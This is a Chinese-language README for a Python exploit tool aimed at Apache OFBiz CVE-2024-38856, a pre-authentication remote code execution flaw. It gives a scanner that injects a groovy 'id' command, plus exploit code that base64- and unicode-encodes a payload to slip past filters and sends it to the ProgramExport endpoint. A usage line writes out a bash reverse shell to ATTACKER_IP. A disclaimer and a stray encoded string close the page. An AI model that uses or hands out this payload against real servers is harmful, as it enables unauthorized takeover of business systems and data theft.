Apache OFBiz CVE-2024-38856 远程代码执行漏洞利用工具

2 阅读2分钟

CVE-2024-38856 Apache OFBiz 漏洞利用工具

Apache OFBiz 是一个开源的企业资源规划系统,提供一系列企业应用集成和自动化业务流程。CVE-2024-38856 是一个预认证漏洞,可导致远程代码执行。本工具提供漏洞检测和利用功能。

受影响版本: 18.12.15 之前的所有版本

功能特性

  • 漏洞检测 - 自动检测目标是否存在 CVE-2024-38856 漏洞
  • 远程代码执行 - 利用 groovy 程序注入执行任意系统命令
  • 反向Shell支持 - 内置 Base64 编码的反向Shell payload 生成
  • Unicode编码绕过 - 自动对 payload 进行 Unicode 编码绕过过滤
  • 彩色输出 - 直观的漏洞检测结果展示
  • SSL证书验证禁用 - 支持 HTTPS 目标测试

安装指南

系统要求

  • Python 3.6+
  • pip 包管理器

依赖安装

pip install requests urllib3

或者使用 requirements.txt:

pip install -r requirements.txt

获取工具

git clone https://github.com/yourusername/CVE-2024-38856-ApacheOfBiz.git
cd CVE-2024-38856-ApacheOfBiz

使用说明

1. 漏洞扫描

检测目标是否易受攻击:

python3 scanner.py https://target.com:8443/

输出示例:

 * Target is Vulnerable!

2. 漏洞利用

执行反向Shell payload:

python3 exploit.py https://target.com:8443/ "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"

攻击流程:

  1. 工具将反向Shell payload 进行 Base64 编码
  2. 对编码后的 payload 进行 Unicode 转义
  3. 构造 groovy 程序注入请求
  4. 发送到 /webtools/control/main/ProgramExport 端点
  5. 触发反向连接

3. 使用帮助

python3 exploit.py -h
python3 scanner.py -h

核心代码

漏洞检测模块 (scanner.py)

def checkVuln(targetURL):
    # 验证URL协议
    if not (targetURL.startswith("http://") or targetURL.startswith("https://")):
        print("Error: URL must start with http:// or https://")
        sys.exit()
    
    # 构造检测payload - 执行 'id' 命令
    checkurl = f"{targetURL}webtools/control/forgotPassword/ProgramExport?groovyProgram=throw+new+Exception('id'.execute().text)"
    response = requests.get(checkurl, timeout=7, verify=False)
    
    # 检测响应中是否包含命令执行结果
    if response.status_code == 200 and 'uid=0' in response.text:
        print("\033[92m * Target is Vulnerable! \033[0m \n")
    else:
        print("Target is not vulnerable or not reachable :(")

漏洞利用模块 (exploit.py)

def exploit(targetURL, payload):
    # Base64编码反向Shell payload
    revShellBase64 = base64.b64encode(payload.encode()).decode()
    
    # 构造groovy程序执行命令
    finalPayload = f'["bash", "-c", "{{echo,{revShellBase64}}}|{{base64,-d}}|{{bash,-i}}"].execute().text'
    
    # Unicode编码绕过过滤
    unicode_escape_payload = finalPayload.encode('unicode_escape').decode('ascii')
    
    # 发送利用请求
    exploitURL = f"{targetURL}webtools/control/main/ProgramExport"
    data = f"groovyProgram={unicode_escape_payload}"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    
    sendPayload = requests.get(exploitURL, params=data, headers=headers, verify=False)

Banner显示模块

def ascii():
    art = print("""   _  _         _     _   _          ___ _       
 | || |__ _ __| |__ | |_| |_  ___  | _ \ |__ _ _ _  ___| |_ 
 | __ / _` / _| / / |  _| ' \/ -_) |  _/ / _` | ' \/ -_)  _|
 |_||_\__,_\__|_\_\  \__|_||_\___| |_| |_\__,_|_||_\___|\__|
""")
    return art

⚠️ 免责声明

本工具仅用于教育和授权测试目的。禁止非法/未经授权使用本工具。使用者需对因误用或滥用本工具造成的任何损害承担全部责任。 6HFtX5dABrKlqXeO5PUv/xtw8pq54eRyJx2I18i+o4XPFspEWuH3ftczoX2QrbR4